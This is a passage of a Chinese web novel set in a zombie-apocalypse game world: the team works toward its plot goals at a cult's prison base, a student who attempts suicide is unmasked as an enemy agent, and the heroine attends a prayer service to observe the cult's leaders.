034号发现宿主也发烧了,程度还不轻,它就知道<深渊>不可能不给宿主弄点病来。 房间内响起脚步声,拿药的几个班委回来了,开始分发药物。 学生们拿到药和水,互相传递。 奇怪而默契地,没有传递到副班那个方向,眼神游移着,没有人主动靠近副班。 一是因为副班看起来不像生病了,二是没人敢靠近她,他们都知道副班很讨厌别人吵到她。 孤僻跟个影子一样。 以及在卡车上,她把同伴推下去的场景还历历在目。 这是一个过于残忍的人,很难让其他人生出靠近之意。 034号看着依旧闭目养神的宿主: [宿主,你不去拿药么? ] 既然发烧了,就得吃药啊。 温知初:“没必要。” 034号:[……] 是啊,一个上一轮生吞了一整瓶精神控制类药物的人,小小发烧,又能算什么呢。 对于宿主而言,这种程度是真的不痛不痒吧。 温知初坐的这个地方,顶头有个小窗户,有些许光照进来,洒在她的侧脸。 朦胧的光线中,树叶的光影晃动着。 在低烧的困意中,她似乎真的快睡过去了,身旁却响起脚步声。 是班长。 也只有班长才会主动靠近副班了。 “喂。”他道,“你发烧了,吃药。” 其他学生有些好奇地看过来,他们看到班长把手放在了副班的额头上,也看到副班略微蹙起眉,冷淡地拂开额前的手。 温知初甚至没有睁开眼:“放下就行了。” 晏逾明垂眼望着她:“放在这里你就会吃么?” 显然,副班不会为了这种不痛不痒的低烧吃药。 温知初睁开眼:“班长,你很吵。” 她抬眼看向晏逾明,不知是在看班长,还是在透过班长看那个和她达成合作的 Yu 。 亦或者都是。 晏逾明把水杯放在了她面前,温知初依旧不动,冷淡地望着他。 僵持了片刻,水杯被班长收了回去。 但他没走。 晏逾明垂眼盯着她:“没力气的话,我喂你?” 温知初的眼神定了定,她冷淡的视线缓慢地上移,依旧坐在那里不动,嘴角却略微勾起:“你要怎么喂?” 第87章 一个说要喂,一个问怎么喂,却似乎两个都没把话当真。 喂是不可能喂的,以副班和班长之间的关系, 能静下心来好好说话已然是不易。 水杯被温知初接了过去,就着水把药片一饮而尽。 晏逾明盯着她把药喝下去后,目光在她湿润的嘴唇上停留了片刻,这才转身离开。 围观的学生倒是有些松了口气,他们知道这两人一直不对付,幸而没真发生些什么。 丧尸潮爆发之前班长和副班之间的关系就不怎么样,甚至比现在还僵硬,随着二百多天的生死患难共处,两人关系其实比之前好多了。 [我也这么觉得,他们两个关系真的比之前要好多了。 ] [虽然表面看上去不和,但是在人群中, 论能够合作的,副班估计只觉得班长能够格。 ] [想想一二轮的时候,两个人连对上眼都不行,关系里嫌恶的成分太大。 ] [其实班长这个角色, 除了副班之外,所有人都过度依赖他/她,只有副班是一个让其可以反过来依赖的存在, 虽然副班不会主动提供帮助, 但一直都在就是了。 ] [听你们聊, 突然觉得恍若隔世啊, 一下就已经第四轮,想当初第一轮的时候,我真的不看好TRES, 毕竟找出<深渊>的出口这件事,完全是天方夜谭。 ] [是啊,当初以为他们一定会死在第一轮,没想到撑到了现在。 ] 大家在<深渊>里待得太久,早已习惯月复一月的电子剥离痛,习惯了身边的死亡,麻木而痛苦。 但现在看着域里的TRES ,突然觉得,好像真的…能看到逃离<深渊>的可能性了。 真的能找到出口么? 不管有没有这个可能性,第四轮域都在行进着。 趁着众人都在休息的时候,邱任望用了“剧情脱离”的权限,把队员们喊到东区边缘的一个杂物间,聚在一起讨论接下来该怎么办。 杂物间里没有其他人,比较方便交谈,最后一个进来的屈孚宁把门关上,大家在这个略显逼仄的空间里席地而坐。 这一轮他们一共三个剧情目标。 其一:去往新的、总部的救援点,其位于另一个城市。 其二:见到新市议长以及圣谕者。 其三:在过程中,保证所有十六位高三四班学生的安全,不允许死亡。 现在他们身处终焉教的基地,意味着已经达成第一个剧情目标,可以划去不再看。 邱任望:“这次我兑换了二十分钟的剧情目标,时间省着点用,还是得长话短说。” 他开门见山:“三个目标我们已经完成第一个,现在还剩下两个。” 屈孚宁开口:“第三个目标挺危险的,来的路上,我们那个车的陈玉清和储见仲身体状况都不是很好,中间下去清路障的时候也有个四班的学生差点被咬到。” 情况不容乐观。 “说到这个,”章诎接过话,“小温,你们车上的那个吴于心也挺危险的,我刚才看他状态不太好,床铺也没整理,就坐在那里发呆。” 吴于心,那个曾经抱着青年丧尸不肯放手的男学生。 温知初抬眼,轻轻地点了点头。 她也注意到了,吴于心的状态很是神思恍惚,似乎还没从车上经历的一切抽离回来。 邱任望:“其实包括我们,一共十六个学生,没有一个的性命不是处于危险的。” 第三个目标很难。 不仅得他们活着,也得保证其他学生也活着。 外忧内患。 外忧的是终焉教处处透露诡异,不知道什么时候就要了谁的命,内患的是有些学生本身身体、心理境况本来就不太好。 学生们来到这里后,会被分到外勤或是内勤,这意味着以后四班学生的动向是分散的,也意味这他们这六个队员,也得分散着去照顾、看住这些学生。 那么谁来完成第二个剧情目标,去找新市议长和圣谕者? 答案是明显的。 邱任望:“小温、孚宁,你们两个来。” 也只能是他们两个了。 首先这两个人的角色都是比较孤僻的,不喜人群,尤其是副班,一个不可能主动保护、在意其他学生的角色。 他们两个人,比较适合抽离人群,去完成第二个剧情任务。 而其他四个人,负责分散着去保护人群。 “但是不可能只靠他们两个人就完成这个任务,”邱任望道,“这里武装人员多、防线多,去见圣谕者这个任务是这三个任务里最难的。” 作为行政区的南区防守肯定是最重的,圣谕者这么重要的存在不可能轻而易举就能见到,这里不是写字楼,是层层守卫着的总基地。 硬闯进去,会被武装人员打成筛子。 将铭开口:“我们得帮着搜索些消息。” 搜索不硬闯的路线。 搜索新市议长和圣谕者的动向。 见新市议长没那么难,因为新市议长不是圣谕者,只是个代行者,据其他市民所说,这些代行者是会出南区行动的,和大家一起吃饭、祈祷。 见到新市议长只是时间问题。 但见圣谕者难如登天。 圣谕者这个存在,没有人真正见过,就算问信教的市民,他们也从来没见过,说圣谕者是不可直视的存在,不轻易降临人间。 不管圣谕者到底是谁,对终焉教来说都是图腾般的存在,一直待在南区的行政中心,一个有大量武装人员守卫的地方…要怎么才能见到他? 屈孚宁低声念出口:“圣谕者…” “所以才需要我们一起帮忙搜索路线和动向,”邱任望总结,“不过要辛苦小温和孚宁了,具体的行动得你们来负责。” 温知初简短地回答:“嗯。” 站在对面的晏逾明眼神望向她。 邱任望立即补充一句:“要在注重自身安全的前提下再行动。” “当然,”邱任望道,“有关学生安全,我们六个人都得盯着点。” 将铭点头。 邱任望:“今天是二号了。” 他们还有四天的时间。 幸运的是他们在努力地靠近剧情的真相、亦或可称为<深渊>的出口,不幸的是这四天里他们要面对太多的未知。 所有学生都能活着么? 圣谕者到底是谁? 他们到底要如何穿过层层防线、去见到那个图腾般的存在? 后面到底还有什么在等待着他们? 这次真的能找出<深渊>出口么? 屈孚宁开口:“其实之前来总点的路上,学生们的安全是最好保护的,接下来没这么容易了。” 能踏上来基地的路,说明活着的这些学生,身体或是血液上是对终焉教有用的,所以来的路上武装人员也会尽可能保护学生们,他们的安危当时是可控的。 可现在到达了基地,谁也不能保证剩下的四天,学生中会不会有人被拉去做什么实验之类的。 毕竟那些忠诚的信徒,在武装人员口中,也只不过是实验品。 一直沉默的晏逾明开口:“来的路上,并不是所有学生都在武装人员的保护范围内。” 譬如吴于心。 当时他抱着青年丧尸,差点被咬的时候,比起他的安危,车上的那个武装人员好像更在乎青年丧尸的尸身。 后来青年丧尸被推下车后,武装人员的脸色变得很难看。 回到总点后,没有把青年丧尸的尸体带回来这件事,也被军官狠狠骂了。 说明市民、学生组成的这五十个人里,作为实验品,是有被区分重要程度的。 将铭点头:“对,当时从写字楼出发的时候,武装人员本来是有个名单,准备把不同人分上不同车。” 估计他们原本打算把重要的实验品分到武装人员更多的那一车。 从路上发生的事来看,显然死了的青年比活着的吴于心还重要。 大概是这种程度。 屈孚宁:“所以他们到底有个什么标准?” 通过抽血决定的么? 这个答案需要他们自己去发掘。 越靠近真相,越靠近出口。 邱任望抬起手腕,看了一眼终端:“时间结束了。” “剧情脱离”的时间结束了。 各自离去。 中饭时间。 通舍里不少人出去吃饭去了,留下来的人也都在睡觉。 几个外校生看向房间另一侧的东南角,似乎想过去跟副班说些什么,不过倚墙而坐的副班戴着耳机,低头看着书,一副不想和人交谈的模样,他们犹豫了下,还是决定不打扰人,他们自己出去吃饭。 通舍里很安静,也许是因为以前是囚室的缘故,阴冷中带着些许晦暗。 外面的风声很大,光影不停晃动。 温知初放下手中的书。 视线投向了斜对面的一张床铺。 班长的床铺。 他应该是出去吃饭了,外套和背包留在了床铺旁。 温知初站起身,耳机线垂下,她走向那张架着外套的椅子。 [小温想干什么啊? ] [我发现她这一轮对Yu比以前要关注很多欸…] [肯定是担心Yu的班长身份,还在怀疑他会不会和上一轮的她一样,在服用那种精神控制类药物吧。 ] [感觉他们俩的关系变好了不少。 ] 温知初屈身,打开背包,修长的手指默不作声地翻着里面,找出一袋药物,打开后没有发现类似精神控制类的药物。 再翻开前兜…此时,旁边待着的一个男学生从床铺上坐起来,狐疑地望向她:“副班,你在干什么?” 他皱起眉:“这是班长的包。” 温知初冷淡地瞥了他一眼,继续翻椅子上的背包。 背包里没有。 她放下背包,拿起了椅子的外套,手伸向衣服口袋。 男学生则是有些惊讶地抬起了头:“班长…” 温知初的手顿了顿,衣服里也没有。 “找什么?”身后响起了熟悉的声音。 高大修长的身影站在她身后,手臂越过她,接过自己的衣服:“需要我帮忙吗?” 温知初缓慢地转过身。 她抬眼的同时,晏逾明把外套披到她身上:“如果是太冷的话,这件外套给你。” 旁边的那个男学生见状,立马提声告状:“班长,刚才她还翻你背包了…” 晏逾明打断了他的话:“还有什么需要的么?”他望着温知初。 他躬身,像是在仔细询问她的意见。 靠近时,他发出的声音只有彼此能听见:“我知道你在找什么。” 晏逾明垂眼盯着她,他好像总是喜欢深深地盯住她的眼睛,因为这双眼也总是专注地看着他,深黑,沉静,没有任何杂质。 一种抽离世间的平淡,让人永远看不透她在想什么。 晏逾明:“温知初,我和你不一样,我疼了会说,也从不委屈自己,所以我不可能和上一轮的你一样,独自忍受着什么。” 温知初抬眼。 晏逾明:“那你呢?” 晏逾明的手放在了她的额头上:“你还在发烧。” 他问:“你自己没有感觉吗?” 第88章 还真没感觉。 比起发烧不发烧, 温知初盯住晏逾明,似乎在确认他话语的真实性。 是真话。 没有精神类控制的药物就行。 温知初得到自己想要的答案,收回眼。 她把外套放回椅子上, 拿走了一板退烧药:“给我这个就行。” 她淡淡地道声谢, 离开这片地方。 晏逾明的视线跟随温知初的身影,看着她坐回床位旁的椅子,重新翻开书,纤瘦而修长有些单薄。 他顿了顿,收回视线。 班长:“外套真的不需要?” 低头看书的副班没有任何应答。 晏逾明轻笑了一声。 身旁的男学生依旧在念叨:“就算来找药, 也不能没有经过他人同意就翻别人背包吧…” · 副班长这个身份有点麻烦。 太孤僻了。 孤僻到温知初想离开通舍都不行, 一整个下午,她只能待在通舍里, 每当有想出去的行动时,关键事件节点的提醒音总会响起。 除非有什么人主动来找她,要不然副班绝对不会主动出去找谁、干事。 不知不觉,窗户外的天色都暗了。 《钢铁终焉》翻到了中间这个位置,她继续往后看,偶尔会望向终端, 看群里有没有新的消息。 烧一直没退,就算吃了药也没用。 想也知道这是<深渊>削弱TRES的手段。 “副班,到了该吃晚饭的时间了,你不去吃饭么?” 是那几个外校生。 温知初的视线从书上离开。 [终于有人来找副班了。 ] [再没有人来找, 该不会一直被关键事件节点困在这里吧…] [这一轮我都快把这几个外校生看顺眼了。 ] 温知初的视线扫了一圈身旁的椅子, 外校生读懂她的眼神, 跨到椅子旁,围坐。 有个外校生压低声音:“其实我们也是想找你说一件事。” 温知初:“你们要离开终焉教的事?” 她阖上书:“我可以帮忙。” 她承诺过的,不会反悔。 “不是,不是。”外校生有些尴尬地笑了笑,“我们不准备离开了。” “不准备走了,”温知初问,“为什么?” 外校生:“这里挺安全的,我感觉可能应该没有比监狱基地更安全的地方了,而且也挺有秩序的,所以我们准备在这里再待久一些。” 其实还有一个原因他们没好意思说。 他们觉得待在副班长身边是最安全的,总觉得无论什么事,她都能做到。 终焉教诡异是诡异了点,但是感觉有副班长在,这里好像能相对变得安全些。 起码比外面的丧尸世界安全。 外校生:“这里有住的地方、有床,一天还能吃三顿,我们不想离开了。” “行。”温知初简短地点头,对他们的理由不感兴趣,接受他们的说法。 几个外校生脸上有明显得讨好。 温知初抬眼。 这几个人类挺好理解的,欺软怕硬,但服从性不错。 是可以利用的存在。 温知初从背包里拿出几个面包,扔向他们。 外校生接到怀里:“副班,你、你不吃么?” 他们好像没怎么见到温知初吃饭过。 温知初:“我不饿。” 他们饿。 外校生立马撕开包装袋啃面包,温知初耐心地等待,直到他们吃完。 外校生也挺识相的:“副班,是需要我们做什么吗?” 温知初略微点头。 她道:“我出去的期间,帮我看住一个人。” · 晚饭时间过去了。 学生们吃完饭,都回通舍休息去了,外校生其中的三个也回去了,不过他们是带着任务的,三个人坐在同一张床铺上,眼神望向同一个方向。 彼此交换了下眼神,都不明白为什么副班为什么要让他们盯住这么一个人。 “副班呢?” “不知道,刚才出去后就没回来了,可能去吃晚饭了吧。” “为什么要我们看着这么一个男学生啊?我看没什么特别的啊。” “不知道啊,就盯着吧…” 吴于心。 他们要盯的这个男学生。 在他们三个人的印象中,就是个曾经在军卡上发疯的男生,疑似深度挚友脑,差点因为小青年害了一整车的人。 除此以外,有什么需要他们特别在意的地方吗? 从他们开始盯,这个吴于心就一直呆怔地坐在椅子上,也不看书,也不睡觉,就那么像是放空一样坐着。 有点儿行尸走肉的意思。 眼神看起来都不聚焦。 盯久了,甚至有点儿恐怖谷效应,这人怎么就不动呢,还在为了那个小青年伤心呢… 有个外校生打了个哈欠:“这有什么好盯着的,不会要一直盯着他发呆吧。” 另一个:“我们换岗盯吧,你要是困了就先睡会儿。” “不是,我怎么又饿了,我还有个副班给的面包,本来准备留到明天吃来着…现在先吃了吧。” 外校生一边分面包,一边百无聊赖地继续盯吴于心。 这个人终于动了。 吴于心转过身喝了点水,然后改成坐在床铺上,眼神空荡荡地望墙。 外校生嚼着面包:“至于这么伤心吗,不就死了个刚认识的朋友吗。” 另一个外校生:“是啊,我们身边死了那么多人,也没见谁变成这样啊。” 另一边,和他们同一个通舍的校医踱步走过来:“你们在看什么?” 校医一开始还以为这三个外校生不怀好意,准备找四班学生茬儿,他在旁边观察了很久,发现他们只是在盯着吴于心聊天。 外校生:“你谁?” 校医愣了愣:“高三四班的校医,你们刚来写字楼的时候,帮你们包扎过伤口的那位。” 外校生眯了眯眼睛:“哦。” 这校医没戴眼镜儿,一下他们没认出来。 不过这人挺自来熟的,和他们一起坐下,也看着吴于心:“你们在看他?” 外校生:“嗯。” 校医:“你们也觉得他很异常?” 也? 外校生望向校医:“什么意思?” 校医坐着:“这孩子以前不是这样的啊…” 作为老师,和学生们一起逃生了这么长时间,校医一直知道自己学生的秉性。 吴于心之前不是这样的,他一直是个文静少话的学生,平常私底下喜欢画画,生性有些害羞,和人说话的时候声音总是低低的。 “我看过他的画,”校医道,“他喜欢画花花草草,用的颜色都是比较亮色的那种。” 身处丧尸潮的末世中,还能画出这么有生机的画,说明是个比较积极乐观的人。 校医叹了口气:“为什么现在突然变成这样了…” “这有什么想不通的,”外校生说,“朋友当着他的面死了呗…” 校医:“你说那个车上感染的小青年?” 说实话,这一点他最觉得诡异。 校医:“按道理说,他不怎么和四班外的人交流,为什么会突然和那个青年关系变亲近了?” 外校生直接说:“中二脑,以为自己遇到命中注定的挚友了。” “不是的。” 一道陌生的声音插了进来。 校医转头一看,是隔壁宿舍来串门的市民,也是个青年。 青年道:“他们关系没那么亲切。” 他是车上死去青年的朋友,两人都是终焉教的信徒,关系很好。 青年从刚才就站在这里听了,因为谈论的是有关他朋友的事,难免驻足。 青年:“我和死去的青年关系很好,基本一直待在一起,没见他俩说过话过。” 说实话,他很惊讶。 朋友丧尸化的时候他不在那辆军卡上,卡车上发生的事他是事后才听到的,他很感激吴于心对他朋友的维护,但他肯定的是,他就没见过两人有交集。 吴于心突然其来的关心,让他不知道从何而来。 “你是说…”校医道,“他们两个人从来没说过话?” “是。”青年很肯定,“我和他一直一起行动,从来没和吴于心有过交流,别说好朋友了,两人根本不算是认识。” “不可能吧。”外校生道,“是不是在你不知道的情况下,他俩有所交集。” “没有这个可能性。”青年重复道,“我和他的行动,从来没有分开过。” 友情不是这么潦草的事。 还是这种、哪怕对方丧尸化也绝不放手的浓重之情。 校医也糊涂了:“那他怎么这样了…” 为了一个不怎么认识的人差点丧命,现在又为了他茶饭不思,连动都不愿意动。 外校生也想不通:“可能是单方面的?” 想不明白。 其他人散了,三个外校生还得盯着这个吴于心。 这人一直保持放空的姿势,连眼睛都不怎么眨。 不知不觉,都晚上十点了,通舍的灯关了,大家都躺下开始睡觉,他们三个还得盯着这个僵直坐在床上的吴于心。 有个外校生:“他怎么不动啊,这样坐着他不累吗?” 不冷吗? 另一个外校生裹紧被子,已经躺下:“副班呢?还没回来?” “嗯,还没回来。” “那我们得继续看着了。” 话是这么说,但三个人都懈怠了,不明白这个男学生有什么好看着的。 都坐这儿一动不动这么久了,估计接下来还是坐着。 他们商量着轮岗,两个外校生先躺下睡,只剩一个外校生还盯着吴于心。 说是盯着,但是眼皮已经开始打架了。 真不明白有什么好盯着的…他撑着下巴,无聊地看着,眼皮越来越往下,就快要阖上。 半眯的视线里,吴于心终于动了。 他的手放进了背包里,拿出了一个…香蕉? 光线很暗,看不清。 拿香蕉干什么,终于知道饿了?话说这里发香蕉吗,怎么他今天没有看到… 这人拿着香蕉也不吃,就那么放在手上拿着不动,外校生眯着眼睛看,就等着他什么时候剥香蕉皮。 动了…终于动了… 这人拿着香蕉,猛得划向了自己的手腕…手腕? 香蕉怎么可能会拿来划手腕。 那根本不是香蕉! “卧槽卧槽卧槽!”外校声睁大双眼,几乎是从床上摔下来的。 大嗓门儿一下惊醒不少人,他还在“卧槽卧槽”着。 大灯打开,其他学生抱怨:“干什么,叫什么叫,到底让不让人睡觉了!” 不过这些抱怨一下就沉寂了。 外校生蹲在地上,他抓着椅子上吴于心的胳膊,手忙脚乱不知道做什么。 大量的血从吴于心的手腕上往外喷。 通舍里发出了学生们的尖叫。 “有人自杀了!” · 与此同时的东区大厅里,一片安宁。 这里聚集的都是来阅读典经的信徒们。 书橱前,温知初从傍晚来到这里,一直在翻看手中的《钢铁终焉》。 待在这里这么久,除受限于人设外,也是为了旁听信徒之间交流。 信徒们低声的聊天中,透露出不少消息。 能来这里阅读典经的,基本上都是最忠诚的信徒,他们对于终焉教中的动向很是关注。 譬如,从身后那三个人的交谈中,温知初知道了明天新市议长会去南区的祈祷室。 也许是因为她在这里待了太久,这些人也把她当成忠诚的信徒,身后的那三个人朝她搭话。 “学生,”那人问,“我看你一直坐在这里,你不去吃饭么?” 晚饭时间也没见她出去。 温知初:“我不饿。” 她抬眼:“刚才听你们在说新市议长的事。” 她开了个话头。 “是啊,”那人反应了会儿,“那个新的代行者。” 他低声道:“这事儿我们悄悄说,消息也只有少数人知道。” 信徒们都想见代行者,想接受代行者们的祝福,但是代行者的行踪很少有人能知道。 那人道:“我也是从关系好的军官那里得知的,她说,代行者们明天会去南区的第三个祈祷室祈祷。” 包括那个新市议长。 温知初:“我们也能进去么?” 那人:“是啊,人少的话我们就能进去。”这就是为什么他得悄悄说的原因。 能进去接受祝福。 温知初放下手中的书:“那圣谕者呢,他会去么?” 旁边的人以为她在开玩笑,笑了笑:“圣谕者是不可直视的,他不可能出现在我们眼前。” 从来没有人见过圣谕者。 温知初:“他不出来么?” 市民:“我们无法掌握他的踪迹,因为从未有人见过他。” 温知初平淡地继续问:“为什么圣谕者不可直视?” 市民:“因为他是神的化身和壳子,正如我们无法直视神,我们也永远无法直视圣谕者。” 温知初:“所以他从来不会去祈祷室。” “当然,”市民道,“祈祷室是我们去祈祷的地方,但是圣谕者是倾听祈祷的存在。” 温知初看着这些人,似乎还想说些什么,这时候,口袋里的手机突然震动。 手机里有邱任望改过的对讲机功能,可在短距离内收到对方的实时通讯。 那些外校生的声音直接从耳机里传出来。 “副班!” “副班!” 对面的声音很惊慌失措。 “吴于心自杀了!” “好多血!流了好多血!” “他好像快死了!” 温知初顿了顿,她站起身,立即往外走。 · 四班的一群学生朝中区跑,他们找了个推车,推着吴于心狂奔。 监狱基地很大,他们住的东区离医疗站所在的中区有段距离。 中途,推车停了会儿。 因为在推车上的吴于心把手腕上的绷带解开了,还在尝试自杀。 于是一个外校生也上了推车,把吴于心两个胳膊都钳住。 推车的学生们皱紧眉头:“疯了!真是疯了!” 这么多血,该不会、该不会真的要死了吧… 等他们把吴于心送到医疗站的时候,他已经不动了。 温知初赶到的时候,注意到地板上都是血。 病房外,将铭守在那里,看到她来,站直了身。 温知初走近,还有些喘气:“还活着么?” 将铭点头:“放心,还活着。” 吴于心如果死了,他们的任务就失败了。 温知初略微点了点头,她走向病房,将铭拦着:“没事,我看着就好了,你回去休息…” 她略微摇头,推门进了病房。 她不是进来看护的。 这里的病房比不上外面的医院,但已经相对全面了,除了通风孔有些小,设备都是齐全的。 屋内充斥消毒水的味道。 病床摆放在一个铁柜旁,病床上,吴于心闭着双眼,平躺。 门推开的时候,他的眼皮子轻微地颤动了下。 温知初走近。 吴于心的手腕上缠着厚重的绷带,被打过镇定剂,躺在床上,处于不能动的状态。 察觉到有人靠近,吴于心睁开了双眼,望向了温知初。 他缓慢道:“副班…你也来看我了么?” 他低声道:“对不起,我刚才情绪失控了,我想起军卡上的事,就无法控制自己的情绪…但我其实也不是怪你,当时那种情况,确实需要有一个人把他推下去…要不然其他人也会死…” 他的话断断续续的,像是在呓语。 温知初垂眼望向他。 她开口,说了进入病房的第一句话:“你不是吴于心。” 吴于心的言语戛然而止。 温知初平静地盯着他:“你是敌方。” 第89章 太反常了。 在域的这个世界里,一切都必须符合逻辑而发生,人不可能突然出现这么大的变化,除非…他不是原来的那个、四班的吴于心了。 不是他们的队员,那么只可能是敌方了。 还是一定会置他们于死地的敌方, 要不然何至于要自杀。 [敌方? ] [吴于心是敌方? ] [我天,怎么看出来的…所以才让外校生帮忙盯着他吗? ] [敌方狠成这样吗, 为了杀死对方, 不把自己的命当命了? ] 他们从前讨论过。 如果出现像是保人不死亡这样的剧情任务,敌方又正好在这个不能被死亡的范围内, 其实敌方自杀, 就能阻止TRES完成任务了。 可他们当初讨论的时候只是假设,没想到真有敌方对自己下手啊! 敌方是<深渊>的走狗是没错, 但是走狗到连自己的命都不要了?这是疯了吧? [哇靠,他笑了。 ] [谁笑了? ] [吴于心。 ] [看起来好像精神不太正常的样子。 ] 听到敌方的指控, 吴于心没有否认。 他躺在床上,缓慢地露出笑容。 显然,他没准备藏。 温知初得到了一个确切的答案,平淡地收回了眼。 [他真是啊! ] [就这么承认了? ] [疯了啊, 自杀式袭击,那就算敌方赢了他也活不了啊。 ] [真有人不顾自己的性命也要赢吗? ] [这个世界上,有各种各样的人吧…] 吴于心:“我是联邦监狱的人又怎样?” “副班, ”他道, “就算我现在就躺在这里,你们也动不了我。只要我还活着,要不然就是我杀死你们中的一个人,要不然就是我杀死我自己。” 无论哪种情况,都是TRES输。 他笑得整张脸都皱起来, 这种嘴角咧得过于大的笑,让他脸上的肌肉走向很狰狞,皮和肉像是分离了一般:“这一轮,你们走不出去了。” 温知初沉静地望向他:“宁愿自己的生命也不要?” 吴于心一直在笑:“你们死了也许就是死了,但我们死了,<深渊>会赐予我们新生的。” 温知初:“这是谎言。” “怎么可能是谎言!”吴于心嗤笑着,“退一万步来说,就算真的死了,能把你们六个人一起带下去,也值了。” 他道:“那个叫晏逾明的…他既然能重生一次,我就能让他再死一次。” 听到晏逾明的名字,温知初猛地抬眼,望向吴于心,深深地盯住他。 不过她没有说什么,沉默着转身离开。 病床上,吴于心挣动着,身体大力抽搐,像是有什么无形的存在在透过他的身体发出声音。 “你们都会下地狱的!” “所有背叛、忤逆<深渊>的人,都会遭受到惩罚!” “你们会死得很痛苦!死后也不得安宁!” “凌迟般的死亡等待着你们!” · 门关上后又打开了。 夜里,将铭一直在病房里守着吴于心。 他撑着脑袋没睡,似乎在消化吴于心是敌方这个事实。 期间,吴于心挣动了一次,试图重新伤害自己,将铭按了铃。 等护士进来的时候,吴于心又恢复成那副安静的模样,护士观察了会儿,还是没有按照将铭的建议给吴于心重新打镇定剂。 护士走后,将铭依旧看着他。 吴于心冷笑:“你要一直在这里看着我么?” 将铭面瘫着张脸,没回答。 吴于心道:“你们各自还有其他任务吧,还有许多其他学生需要你们看着,你们一共就六个人,确定要浪费一个人一直盯着我么?” 他说的不错。 他们只有六个人,他的存在,相当于折损了TRES六分之一的战力。 吴于心:“你们又不能杀了我,还得保护我。” 他笑着:“你现在能看得了我一时,能看的住我一世么?” 他问:“接下来的时间,你们准备怎么办?” 此时,护士重新打开门进来,检查了下吴于心的身体:“你现在觉得怎么样?” 吴于心:“没有任何不适了。” 护士确认他的情绪恢复正常后:“以后不要再做傻事了。” “当然。”吴于心道,“经过这次,我知道了生命有多可贵,谢谢你们救我。” “那好。”护士道,“你在这儿留到早上,如果没有其他事,就可以回去了。” 医疗资源紧张,病床也紧张,不可能只留给他一个人。 “好。”吴于心笑着,“我早上就回去。” 吴于心越过护士望向将铭,眼神中流露出嘲笑:“我还有很重要的事要干,确实得回去啊。” · 天亮了。 通舍里很暗,透不进来什么光,就算是早上九点多也暗得跟傍晚似的。 学生们大多都没醒,还在睡。 十点多的时候,通舍的灯打开,听说外面开始分午饭,众人这才接连醒了。 睡了这么长时间,路程所带来的酸痛却更明显了,不少人发出“诶哟”声。 屋子里一股跌打药味儿。 外校生也醒了,一醒就看到远处床位上,吴于心回来了。 其中一个赶忙拿胳膊捅身旁另一个外校生:“喂、喂…” “怎么了?” “他回来了?” “谁?” “副班让我们看着的人啊。” 睁开眼仔细看看,真回来了。 除了手腕上多了个绷带,看起来和正常人没什么不同。 甚至比正常人还正常人,因为他在和周围的学生道歉。 “对不起,”他道,“昨天麻烦你们了。” 他说:“我主要是昨天情绪失控了,才会那样,经过昨天的事,我明白了生命的可贵,以后我不会再这样了。” 话说得很坦诚,周围的学生都在安慰他。 外校生看着,提着眉毛:“看起来好像真的恢复正常了,我们还要继续盯着吗?” “当然,”另一个道,“副班让我们盯着,就继续盯着啊。” “话说副班哪儿去了?” 外校生转着脑袋看通舍:“没看到,也许出去吃饭了,我们去找找?” “不用找了。”低沉的声音响起。 外校生陡得一转头,发现身后经过一个高大修长的身影。 他像是只是路过,碰巧听到了他们的对话。 班长。 晏逾明:“她早上出去了。” 他道:“大概凌晨五点左右的时间,不在东区。” 班长淡漠地看了他们一眼:“你们没必要出去找她,做好她让你们做的事就行了。” 说完,那道高大修长的身影转身离开,显然没有和他们进一步交流的念头。 外校生:“……” 刚才四班的班长突然开口,因为这人从来没主动和他们这些外校生说过话,他们心感意外地楞住,都忘了问他是怎么清楚副班的动向的。 外校生:“他们认识吗?” 另一个:“这不废话吗,他们不都是四班的吗,一个班长一个副班,能不认识?” “没怎么见他们交流过,我还以为他们不认识呢。” “这倒是真的…” “欸!”有个外校生突然叫了一声,走到吴于心面前,“你刚才拿什么东西放进口袋了?” 吴于心:“香蕉。” “香蕉什么香蕉,”外校生显然不信,“拿出来!” 有了昨晚的事,他们警惕了许多。 吴于心把手从口袋里拿出来,还真…拿出了个香蕉。 外校生愣了愣:“香蕉哪儿来的?” “监狱基地这里种的,”吴于心道,“今天的早餐,外面还在发,不过已经发完了。” “行吧。”外校生摸了摸脑袋。 还真是香蕉…还以为和昨晚一样偷偷拿了把刀呢。 刀确实已经在昨天晚上被校医没收走了,包括吴于心床铺、椅子周围的所有利器,都被拿走了,以防万一。 但是利器这种东西,防不胜防。 吴于心的另一只手依旧放在口袋里,手心里,攥着从外面捡的钢丝。 锋利得一划就能见血。 没人发现。 比起香蕉,外校生显然更好奇副班哪里去了:“不在东区?” 那在哪里? · 在南区的祈祷室。 恰如昨夜那些信徒所说,代行者会于今早现身第三个祈祷室。 那些信徒从凌晨五点就在门外等候了,七点的时候,神父来开门,温知初和十几个信徒一起走进了祈祷室。 石灰色地砖、朝东的长窗覆盖厚重的帘子。 就算是祈祷室,也因为身处在监狱里,给人一种莫名的阴郁感。 整个屋子不大不小,不知道怎么做到的,竟然有教堂式的石拱顶。 温知初抬头看着。 监狱里不可能有这种设计。 其实这从侧面反映出,监狱里的这个基地是很久之前就在建造了,建造的人显然早就预料到了丧尸潮的到来。 信徒们分成两排落座于长椅。 神父站在烛台旁,手握十字架,淡青色的袍子垂到脚踝。 主台前,站着那些代行者,他们的袍衣是深棕色的,配着银边,似乎和普通神父作区别。 他们的手中捧住祈祷册,朗声读。 温知初看向身侧的市民。 这些市民因为看到代行者,或多或少都兴奋得脸发红。 有人低声道:“幸好消息准确…” 能看到所有的代行者,属实不易,这些代行者,在丧尸潮爆发之前,都是各个城市里的官高权重者。 一共十三个代行者,象征着终焉教曾深度渗透过十三个城市。 作为一个偏门的宗教,已然是极大的规模。 温知初没有看向手中的祈祷册,淡漠的眼神扫过这些代行者。 那个新市议长也在其中,五十岁上下的女性,身材偏瘦,脸部轮廓因常年紧绷而有些刻板。 在信徒们眼中,这些代行者代表着高的地位、接近神的身份。 但在温知初眼中,这些人就是些普通人。 普通到不能再普通了。 由血、肉、骨组成的普通人。 非要说有所不同的话,可能他们的血色比他们的信徒要好很多,显然就算身处末世,他们过得也很不错。 信徒们都在跟着代行者虔诚地念祈祷词,温知初沉默着,冷淡地盯住主台前的代行者们。 代行者她已经见到了,那圣谕者呢… 他也会只是一个普通人么? 从祈祷室开门,到现在,已经过了两个多小时。 这两个多小时里,代行者一直在带领着大家念祈祷词。 温知初坐在最后一排,右耳垂着耳机,她垂眼,翻看手中的《钢铁终焉》,厚重的一本书籍,看起来很慢。 等祈祷词念完,已经十点多了。 这时候,代行者才开始所谓的祝福。 